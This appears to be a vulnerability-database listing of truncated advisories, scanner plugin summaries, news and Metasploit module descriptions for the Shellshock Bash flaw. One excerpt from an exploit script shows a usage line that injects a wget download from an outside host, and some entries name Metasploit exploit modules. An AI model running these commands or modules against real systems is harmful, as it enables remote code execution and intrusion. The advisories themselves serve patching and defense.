CentOS 5 / 6 / 7 : bash (CESA-2014:1293) (Shellshock)

Updated bash packages that fix one security issue are now available for Red Hat Enterprise Linux 5, 6, and 7. Red Hat Product Security has rated this update as having Critical security impact. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is...

GNU Bash Local Environment Variable Handling Command Injection via Telnet (CVE-2014-7169) (Shellshock)

The remote host is running a version of Bash that is vulnerable to command injection via environment variable manipulation. Depending on the configuration of the system, an attacker could remotely execute arbitrary code. %NASLMINLEVEL 70300 C Tenable Network Security, Inc...

RHEL 6 / 7 : bash (RHSA-2014:1293)

The remote Redhat Enterprise Linux 6 / 7 host has packages installed that are affected by a vulnerability as referenced in the RHSA-2014:1293 advisory. The GNU Bourne Again shell Bash is a shell and command language interpreter compatible with the Bourne shell sh. Bash is the default shell for Re...

FreeBSD : bash -- remote code execution vulnerability (71ad81da-4414-11e4-a33e-3c970e169bc2) (Shellshock)

Chet Ramey reports : Under certain circumstances, bash will execute user code while processing the environment for exported function definitions. The original fix released for CVE-2014-6271 was not adequate. A similar vulnerability was discovered and tagged as CVE-2014-7169. %NASLMINLEVEL 70300 C...

openSUSE Security Update : bash (openSUSE-SU-2014:1226-1) (Shellshock)

bash was updated to fix a critical security issue, a minor security issue and bugs : In some circumstances, the shell would evaluate shellcode in environment variables passed at startup time. This allowed code execution by local or remote attackers who could pass environment variables to bash...

Bash - 'Shellshock' Environment Variables Command Injection

/cgi-bin/ -c cmd Eg. php bash.php -u http://localhost/cgi-bin/hello -c "wget http://appknox.com -O /tmp/shit" Reference: https://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271remotecodeexecutionthroughbash/ Test CGI Code : !/bin/bash echo "Content-type: text/html" echo "" echo...

Remotely Exploitable 'Bash Shell' Vulnerability Affects Linux, Unix and Apple Mac OS X

A Critical remotely exploitable vulnerability has been discovered in the widely used Linux and Unix command-line shell, known as Bash, aka the GNU Bourne Again Shell, leaving countless websites, servers, PCs, OS X Macs, various home routers, and many more open to the cyber criminals. Earlier toda...

CVE-2014-6271

GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the modcgi and modcg...

DEBIAN-CVE-2014-6271

GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the modcgi and modcg...

CVE-2014-6271

GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the modcgi and modcg...

Design/Logic Flaw

GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the modcgi and modcg...

CVE-2014-6271

GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the modcgi and modcg...

CVE-2014-6271

CVE-2014-6271 (Shellshock) affects GNU Bash up to 4.3, enabling remote code execution by processing trailing strings after function definitions in environment variables. Exploitation vectors include OpenSSH ForceCommand, mod_cgi/mod_cgid in Apache, DHCP client scripts, and other environment-passi...

CVE-2014-6271

GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the modcgi and modcg...

CVE-2014-6271

GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the modcgi and modcg...

CVE-2014-6271

GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the modcgi and modcg...

Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner

This module scans for the Shellshock vulnerability, a flaw in how the Bash shell handles external environment variables. This module targets CGI scripts in the Apache web server by setting the HTTPUSERAGENT environment variable to a malicious function definition. PROTIP: Use exploit/multi/handler...

Qmail SMTP Bash Environment Variable Injection (Shellshock)

This module exploits a shellshock vulnerability on Qmail, a public domain MTA written in C that runs on Unix systems. Due to the lack of validation on the MAIL FROM field, it is possible to execute shell code on a system with a vulnerable BASH Shellshock. This flaw works on the latest Qmail...

CVE-2014-6271: Improper Neutralization of Special Elements used in an OS Command

GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the modcgi and modcg...

OS X VMWare Fusion Privilege Escalation via Bash Environment Code Injection (Shellshock)

This module exploits the Shellshock vulnerability, a flaw in how the Bash shell handles external environment variables. This module targets the VMWare Fusion application, allowing an unprivileged local user to get root access. Module Options msf use exploit/osx/local/vmware/bashfunctionroot msf...